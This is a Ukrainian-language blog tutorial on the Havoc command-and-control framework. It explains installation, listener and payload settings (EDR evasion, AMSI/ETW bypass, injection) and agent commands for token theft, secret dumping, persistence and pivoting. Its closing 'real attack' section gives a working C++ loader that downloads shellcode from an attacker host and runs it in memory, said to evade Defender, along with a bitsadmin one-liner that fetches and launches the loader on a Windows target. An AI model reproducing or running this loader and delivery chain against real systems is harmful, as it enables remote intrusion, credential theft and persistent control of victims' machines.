Havoc C2: короткий посібник по експлуатації

У цій статті ми розберемо маловідомий, зате ефективний фреймворк з тестувань на проникнення – Havoc C2. Інструмент у багато чому нагадує Cobalt Strike та Metasploit, але буде корисним насамперед після отримання початкового доступу, на стадії закріплення Persistence.

Що таке Havoc С2?

Havoc – це сучасний безкоштовний Сommand & Сontrol (C2) фреймворк для пост-експлуатації і проведення пентестів, розроблений на С++ Полом Унгуру (@C5spider).

Фреймворк існує у двох версіях – безкоштовній та професійній. Працює по моделі клієнт-сервер.  Складається з 2-х компонентів: Teamserver та Client. Перший обробляє усі виклики та з’єднання, розгортається на окремому VPS сервері. Другий служить веб-інтерфейсом і може бути встановлений різними операторами на різних комп’ютерах. Містить вбудований генератор корисного навантаження, який створює імплант – Demon Agent.

Є підтримка API через Python.

Розгортання Havoc C2 в Linux

Встановлення:

sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
make client-build

Запуск:

  • ./havoc server --profile ./profiles/havoc.yaotl -v --debug
  • ./havoc client

Для входу в клієнт необхідно заповнити дані сервера:

  • Name – довільне ім’я облікового запису.
  • Host – адреса сервера.
  • Port – порт на якому працює сервер, по замовчуванню 40056.
  • User – ім’я користувача, по замовчуванню “Neo”.
  • Password – пароль та інші дані знаходяться в профілі користувача ~/Havoc/profiles/havoc.yaotl.
Запуск Havoc Teamserver
Вхід в Havoc Client

Детальні інструкції по встановленню для різних систем дивіться в офіційній документації Havoc >>

Веб-інтерфейс Havoc C2

Графічний інтерфейс і юзабіліті Havoc має дружній і компактний вигнляд, чимось нагадує стандартний RAT і Cobalt-Strike. Являє собою панель управління з рядком меню, розділену на різні рухомі робочі області: лістинг агентів, лог подій, блоки модулів, статус бар та інші.

Меню Havoc містить такі пункти:

  • Havoc
    • New Client – підключити новий клієнт (інстанс) до Teamserver. Використовується, коли треба відкрити ще одне вікно керування для того самого сервера.
    • Disconnect – від’єднати поточний клієнт від Teamserver (без зупинки сервера).
    • Exit – закрити клієнт Havoc повністю.
  • View
    • Listeners – відкрити панель створення/керування лістенерами.
    • Session View
      • Table – табличне представлення сесій/агентів.
      • Graph – графічне представлення: дерево зв’язків агентів і півотів (хто через кого йде).
    • Teamserver Chat – чат між операторами на одному Teamserver.
    • Loot – панель “здобичі”: зібрані дані (скріншоти, дампи, файли, паролі тощо).
    • Event viewer – панель журналу подій: логи всіх дій операторів і агентів.
    • Teamserver – панель логів і статусу Teamserver’а.
  • Attack
    • Payload – підменю атак: генерація пейлоадів, створення агентів. Тут же відкривається вікно генерації пейлоаду (Payload).
    • Extensions – розширення: завантаження додаткових модулів (наприклад, BOF-файлів, кастомних агентів).
  • Scripts
    • Scripts Manager – менеджер скриптів: імпорт/експорт/редагування скриптів Havoc.
    • Scripts Console – консоль для виконання скриптів Havoc (Python-інтерпретатор для автоматизації).
  • Help
    • About – інформація про версію Havoc.
    • Open Documentation – відкрити документацію.
    • Open API Reference – довідник по API Havoc (для розробників скриптів/розширень).
    • Github Repository – перехід на GitHub-репозиторій проєкту.
Веб-інтерфейс Havoc C2

Listener

Для того, щоб почати приймати з’єднання необхідно створити Listener – прослуховувач, обробник з’єднань. Для цього треба перейти в меню View -> Listeners й задати необхідні налаштування:

  • Name – ім’я лістенера
  • Payload – обрати корисне навантаження, доступні:
    • Http – звичайне незашифроване з’єднання.
    • Https – зашифроване TLS-з”єднання.
    • Smb – з’єднання через SMB.
    • External – зовнішній listener, який передає трафік на інший сервер/проксі.
  • Hosts – вказати IP-адреси або хост-ім’я серверів, з якими з’єднається malware.
  • Host Rotation – метод вибора хоста зі списку:
    • round-robin – по черзі, по колу.
    • random – випадковим чином.
  • Host (Bind) – локальна IP-адреса для з’єднання, на якій лістенер відкриває порт для стикування (bind), можна вказати усі інтерфейси 0.0.0.0 або окремий.
  • PortBind – порт, який відкриває лістенер на локальній машині для прийому з’єднань (наприклад, 443, 80, 8443 або будь-який інший).
  • PortConn – порт, через який агент (malware) з’єднується з сервером. У більшості випадків співпадає з PortBind, але може відрізнятися, якщо використовується NAT/редирект.
  • User-Agent – можна задати юзер-агент, за замовчуванням стоїть Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  • Headers – додаткові кастомні HTTP-заголовки, які додаються до кожного запиту (наприклад, Authorization, X-Custom — для обходу фільтрів або імітації легітимного трафіку).
  • Uris – URI-шляхи (наприклад, /api, /callback), за якими агент звертається до сервера. Можна вказати декілька, агент буде використовувати їх для запитів, корисно для сценаріїв передачі даних на сервер.
  • Host Header – начення HTTP-заголовка Host. Використовується для обходу фільтрації за доменом або для віртуального хостингу. Можна підробити під інший домен.
  • Proxy connection – блок для налаштування проксі-сервера, трафік від агента буде проходити через вказаний проксі.
ЧИТАЙТЕ ТАКОЖ:  Встановлення і налаштування OWASP Amass в Linux
Створення лістенера в Havoc C2

Тиснемо Save і Listener запущено. Після запуску, слухач з’явиться на панелі управління, відобразиться його статус.

Payload

Коли слухач запущено, можна переходити до створення корисного навантаження в меню Attack -> Payload:

  • Listener – необхідно обрати під який лістенер буде створено пейлоад.
  • Arch – архітектура пейлоада x64/x86.
  • Format – формат пейлоаду, пропонується обрати зі списку:
    • Windows Exe – у вигляді звичайного виконуваного файлу з розширенням exe.
    • Windows Dll – у вигляді бібліотеки DLL.
    • Windows Shellcode – у вигляді шеллкоду.
    • Windows Service Exe – у вигляді системної служби, що запускається через втиконуваний файл.
  • Config:
    • Sleep – час у секундах між “серцебиттями” агента (check-in). Агент спить вказану кількість секунд, потім прокидається, з’єднується з сервером, отримує команди, виконує їх і знову засинає.  По замовчуванню, стоїть 2 секунди.
    • Jitter – відсоток випадкового відхилення від Sleep. Якщо Sleep = 10, а Jitter = 30%, то реальний час сну буде від 7 до 13 секунд (рандомно). Потрібно для ускладнення виявлення — трафік не ходить рівномірно, як у легального ПЗ. По замовчуванню, стоїть 15.
    • Indirect Syscall –  чекбокс. Якщо активовано, агент використовує непрямі системні виклики (indirect syscalls) замість прямих. Це ускладнює детект від EDR/AV, бо виклики йдуть не напряму в ядро, а через сторонній gadget-код в пам’яті.
    • Stack Duplication – чекбокс. При виконанні syscall дублюється стек виклику, щоб замести сліди — EDR складніше відстежити, звідки прийшов виклик.
    • Sleep Technique – техніка, яка використовується під час сну агента (коли він не активний, але залишається в пам’яті):
      • WaitForSingleObjectEx – стандартний WinAPI. Легко детектиться, бо пам’ять відкрита.
      • Foliage – блокує стек перед сном, ускладнює дамп пам’яті. Тільки стек маніпуляції, без шифрування пам’яті.
      • Ekko – використовує таймери для сну, шифрує секції пам’яті під час сну. Без stack spoofing.
      • Zilean – блокує виконання через таймери, також шифрує пам’ять. Найпросунутіший варіант.
    • Sleep Jmp Gadget – інструкція jmp для переходу після пробудження:
      • jmp rbx – використовує регістр rbx для переходу.
      • jmp rax – використовує rax.
      • none – без додаткового gadget. Потрібно для обходу EDR, які ставлять хуки на певні адреси повернення.
    • Proxy Loading – метод завантаження DLL через проксі:
      • None (LdrLoadDll) – стандартне завантаження через LdrLoadDll. Легко детектиться.
      • RtlRegisterWait – через механізм waitable таймерів.
      • RtlCreateTimer – через створення таймера.
      • RtlQueueWorkItem – через чергу робочих елементів (work item). Кожен метод маскує факт завантаження DLL під легальну активність. Найменш підозрілий спосіб завантаження.
    • Amsi/Etw Patch – метод обходу антивірусного сканування (AMSI) та журналювання (ETW):
      • None – без патча.
      • Hardware Breakpoints – використовує апаратні точки зупину (HWBP) для перехоплення і блокування викликів AmsiScanBuffer та EtwEventWrite. Ефективніше, ніж простий патч пам’яті.
    • Injection
      • Alloc – метод виділення пам’яті в цільовому процесі:
        • Native/Syscall – через прямий системний виклик (NTAPI), обходячи WinAPI.
        • Win32 – через стандартну WinAPI-функцію VirtualAllocEx.
      • Execute – метод виконання коду в цільовому процесі:
        • Native/Syscall – через NtCreateThreadEx або прямий syscall.
        • Win32 – через CreateRemoteThread.
      • Spawn64 – шлях до 64-бітного процесу, в який буде інжектуватися агент (наприклад, C:\Windows\System32\notepad.exe).
      • Spawn32 – шлях до 32-бітного процесу, в який буде інжектуватися агент (наприклад, C:\Windows\System32\notepad.exe).
Генератор пейлоаду в Havoc C2

Після генерації Havoc C2 запропонує зберегти файл. Відправляємо його на ціль, виконуємо і очікуємо з’єднання.

Експлуатація

Після виконання пейлоаду на цільовій машині і успішного з’єднання з агентом, на панелі управління Havoc C2, на лістингу, з’явиться нова ціль з інформацією, яка оновлюється в режимі онлайн:

  • ID – унікальний ідентифікатор агента.
  • External – зовнішня публічна IP-адреса скомпрометованої цілі.
  • Internal – внутрішня локальна IP-адреса цілі.
  • User – ім’я користувача системи, під яким запущено агент.
  • Computer – ім’я системи (hostname).
  • OS – операційна система цільової машини.
  • Process – ім’я файлу і процесу в якому виконується агент.
  • PID – ідентифікатор процесу на цільовій машині.
  • Last – час останнього успішного зв’язку.
  • Health – стан агента, живий (healthy) або мертвий (unreponsive).
ЧИТАЙТЕ ТАКОЖ:  Як напряму завантажувати відео з Youtube в Linux?

Лістинг агентів

Взаємодія з агентом відбувається через контекстне меню, яке містить наступні пункти:

  • Interact – відкриває консоль взаємодії з агентом (демоном).
  • Explorer
    • Process List – окремий перелік запущених процесів на цільовій машині.
    • File Explorer – вбудований файловий менеджер для навігації по файловій системі жертви: перегляд, завантаження, вивантаження файлів, перейменування, видалення.
  • Mark as Dead – вручну позначити агента як мертвого (втрачений зв’язок), навіть якщо сервер ще не визначив це автоматично.
  • Color – змінити колір рядка агента в списку (для візуальної категоризації цілей).
  • Export – експортувати інформацію про агента (лог з’єднань, конфігурацію) у JSON-файл.
  • Remove – видалити агента зі списку без завершення його роботи на цільовій машині.
  • Exit
    • Thread – завершити агента, вбивши його потік (agent вивантажується, але процес-носій залишається живим).
    • Process – завершити агента, вбивши весь процес, у якому він живе (процес-носій теж завершується).

Команди і модулі консолі С2

У консолі демона (Interact) доступні такі команди та модулі:

  • help— показати список команд.
  • cat — виводить вміст файлів.
  • cd — перейти в директорію.
  • checkin — примусовий heartbeat (зв’язок із сервером).
  • cp — копіювати файл з одного місця в інше.
  • dir — показати вміст директорії (список файлів).
  • download — скачати файл із цільової машини на сервер.
  • exit — завершити агента (cleanup: почистити сліди й вивантажитися).
  • inline-execute — виконати Object File (BOF — Beacon Object File) прямо в пам’яті без запису на диск. Приклад: inline-execute /path/to/bof.o arg1 arg2
  • klist — список Kerberos-квитків поточної сесії.
  • luid — показати поточний Logon ID (ідентифікатор сесії входу).
  • mkdir — створити директорію.
  • mv — перемістити файл.
  • powershell — виконати команду через powershell.exe і повернути вивід. Наприклад: powershell whoami
  • ptt — Pass-The-Ticket: імпортувати Kerberos-квиток у поточну сесію.
  • purge — очистити Kerberos-квитки (видалити всі з сесії).
  • pwd — показати поточну директорію.
  • remove — видалити файл або директорію.
  • screenshot — зробити скріншот екрана.
  • shell — виконати команду через cmd.exe і повернути вивід.
    • shell hostname – вивести хост-ім’я.
    • shell whoami – вивести інформацію про користувача.
    • shell net user – вивести відомості про поточного користувача.
    • shell systeminfo – вивести інформацію про систему.
    • shell net localgroup administrator –  вивести інформацію про учасників локальної групи.
  • sleep — змінити час сну агента (Sleep + Jitter).
  • upload — завантажити файл із сервера на цільову машину.
  • config — налаштування поведінки сесії Demon (sleep, jitter, техніки тощо).
  • dll — завантаження та інжект DLL (DLL spawn / injection).
  • dotnet — виконання та управління .NET-асемблі (наприклад, Rubeus, ADSearch, Seatbelt). Приклад: dotnet inline-execute /path/to/assembly.exe arg1 arg2
  • job — менеджер фонових завдань (запуск/зупинка/перегляд).
  • net — модуль мережевої розвідки: enum користувачів, доменів, шари, сесії, shares.
    • net domain — інформація про домен
    • net logons — список залогінених користувачів
    • net sessions — активні сесії на хостах
    • net localgroup — локальні групи та їх члени
    • net group — доменні групи та їх члени
    • net user — доменні або локальні користувачі
    • net users — список усіх користувачів
    • net computers — список комп’ютерів у домені
    • net dclist — список контролерів домену
    • net shares — розшарені папки на хостах
    • net domain trusts — довірчі відносини доменів
    • net ads — загальна інформація AD
  • pivot — модуль півотингу: прокид з’єднань через агента вглиб мережі.
  • proc — управління процесами: список, kill, inject.
  • rportfwd — reverse port forwarding: проброс порту з цільової машини назовні. Наприклад: rportfwd add 127.0.0.1 8080 10.0.0.5 80 – форвардинг локального порту на віддалену ціль.
  • shellcode — техніки інжекту шеллкоду (алокація, виконання). Наприклад: shellcode inject 1234 x64 shellcode.bin – ін’єкція шеллкода в процес 1234.
  • socks — SOCKS5-проксі через агента. Наприклад: socks 1080 – відкрити SOCKS з’єднання на порту 1080.
  • task — менеджер задач (перегляд процесів як у диспетчері).
  • token — маніпуляція токенами: make_token, steal_token, rev2self, getsystem.
    • token steal 1234 – отримати токен з процесу PID 1234.
    • token impersonate – застосувати перехоплений токен.
    • token revert – повернутися до початкового токена.
  • transfer — модуль передачі файлів (розширене завантаження/вивантаження).
  • sharpPersist – модуль для застосування персистетності для PE-файлу (автостарт, реєстр, завдання).
  • privkit – модуль підвищення привілеїв.
  • help <сommand/module> – отримати детальну інформацію по команді або модулю.
ЧИТАЙТЕ ТАКОЖ:  OSINT інструменти для пошуку облікових записів по нікнейму

Усі модулі знаходяться в директорії Havoc/client/Modules. Havoc підтримує імпорт самописних модулів/скриптів.

Extensions

Панель Extensions знаходиться в меню Attack -> Extensions. Тут містяться різноманітні розширення, які можна використовувати у сценаріях атак.

  • havoc-reporter — генерація звітів по сесіях/діях (для документації).
  • havoc-fetch — завантаження файлів/даних через HTTP(S) із зовнішніх джерел.
  • auto_suite — набір автоматизації (автозбір інформації, швидкі команди).
  • Shhhavoc — модуль для роботи з SSH (прокидання тунелів, виконання команд на Linux-хостах).
  • matro7sh_loaders (221b / myph) — лоадери для завантаження/запуску пейлоадів (обхід AV).
  • ADOE — Active Directory Object Enumeration: збір інформації про об’єкти AD.
  • mitre4havoc — маппінг дій на MITRE ATT&CK (для звітності/трекінгу).
  • havoc-gosecdump — дамп секретів (LSASS, паролі, хеші) через Go-бінарник.
  • havoc-privkit — набір для підвищення привілеїв (Privilege Escalation).
  • havoc-sharpersist — persistence через SharpPersist (автозапуск, scheduled tasks).
  • havoc-SauronEye — пошук файлів за ключовими словами (наприклад, паролі в файлах).
  • havoc-ligolo — Ligolo-тунелювання (швидкий VPN-прокид через агента).
  • havoc-PoolParty — інжект через pool party technique (обхід EDR).
  • havoc-NoPowerShell — портує NoPowerShell.exe від bitsadmin у Havoc C2. Виконує PowerShell-командлети в пам’яті, залишаючись невидимим для будь-яких механізмів логування PowerShell. Також може виконувати розвідку Active Directory за допомогою модуля AD.
  • havoc-bloodhound — запуск SharpHound для збору даних BloodHound (маппінг AD).
  • havoc-DLLHijack — автоматизація DLL Hijacking для persistence/обходу.
  • havoc-ducky — емуляція Rubber Ducky (введення клавіш, автоматизація).
  • havoc_impersonnate — імперсонація користувачів/токенів (обхід UAC, привілеї).

При виборі модуля відобразиться блок з коротким описом та кнопкою “Install”:

Після успішного встановлення, розширення з’являться на панелі управління Havoc або серед команд консолі. Результати відображаються у консолі Interact.

Приклад реальної атаки з Havoc C2 на Windows 11 (Shellcode Loader)

1) Створюємо лістенер в Havoc C2.

2) Генеруємо шеллкод в Havoc C2 під цей лістенер (можна зі стандартними налаштуваннями):

3) Зберігаємо шеллкод у файл із розширенням .bin на локальний диск.

4) Запускаємо nginx веб-сервер, аби цей файл можна було завантажити на цільову систему:

  • sudo apt install nginx -y && sudo systemctl start nginx && sudo cp /home/kali/demon.x64.bin /var/www/html/ && sudo systemctl status nginx --no-pager -l | head -5
  • sudo tail -f /var/log/nginx/access.log – перегляд логів онлайн

5) Створюємо файл loader.cpp, який скачає і запустить в пам’яті Windows шеллкод (з обходом AV/Defender):

#include <Windows.h>
#include <winhttp.h>
#include <iostream>
#include <vector>

#pragma comment(lib, "winhttp.lib")

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    std::vector<BYTE> shellcode = Download(L"XXX.XX.XX.XX", L"/demon.x64.bin");

    LPVOID ptr = &shellcode[0];

    DWORD oldProtect;
    VirtualProtect(ptr, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);

    DWORD threadId = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, &threadId);

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return 0;
}

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename) {

    // initialise session
    HINTERNET hSession = WinHttpOpen(
        NULL,
        WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,    // proxy aware
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        NULL);

    // create session for target
    HINTERNET hConnect = WinHttpConnect(
        hSession,
        baseAddress,
        xxxxx,            // your open port
        0);

    // create request handle
    HINTERNET hRequest = WinHttpOpenRequest(
        hConnect,
        L"GET",
        filename,
        NULL,
        WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        NULL);                  

    // send the request
    WinHttpSendRequest(
        hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS,
        0,
        WINHTTP_NO_REQUEST_DATA,
        0,
        0,
        0);

    // receive response
    WinHttpReceiveResponse(
        hRequest,
        NULL);

    // read the data
    std::vector<BYTE> buffer;
    DWORD bytesRead = 0;

    do {

        BYTE temp[4096]{};
        WinHttpReadData(hRequest, temp, sizeof(temp), &bytesRead);

        if (bytesRead > 0) {
            buffer.insert(buffer.end(), temp, temp + bytesRead);
        }

    } while (bytesRead > 0);

    // close all the handles
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return buffer;
}

Компілюємо в Visual Studio CLI: cl.exe loader.cpp /Fe:shellcode_loader.exe /EHsc /link winhttp.lib /SUBSYSTEM:WINDOWS

6. Доставляємо файл shellcode_loader.exe в Windows і запускаємо його:

  • bitsadmin /transfer mulaDownload /download /priority high http://X.X.X.X:XXXX/shellcode_loader.exe %USERPROFILE%\shellcode_loader.exe & start /B %USERPROFILE%\shellcode_loader.exe

7. На панелі Havoc з’явиться новий агент.

Додаткові посилання

  1. GitHub.Home-Grown-Red-Team
  2. GitHub. PE to Shellcode
  3. GitHub. GhostPack-Compiled Binaries
  4. Hijacking DLLs in Windows
  5. GitHub. Spartacus DLL/COM Hijacking Toolkit

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, аналітик, дослідник в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Пропоную найпростіший спосіб без використання жодних емуляторів чи іншого додаткового…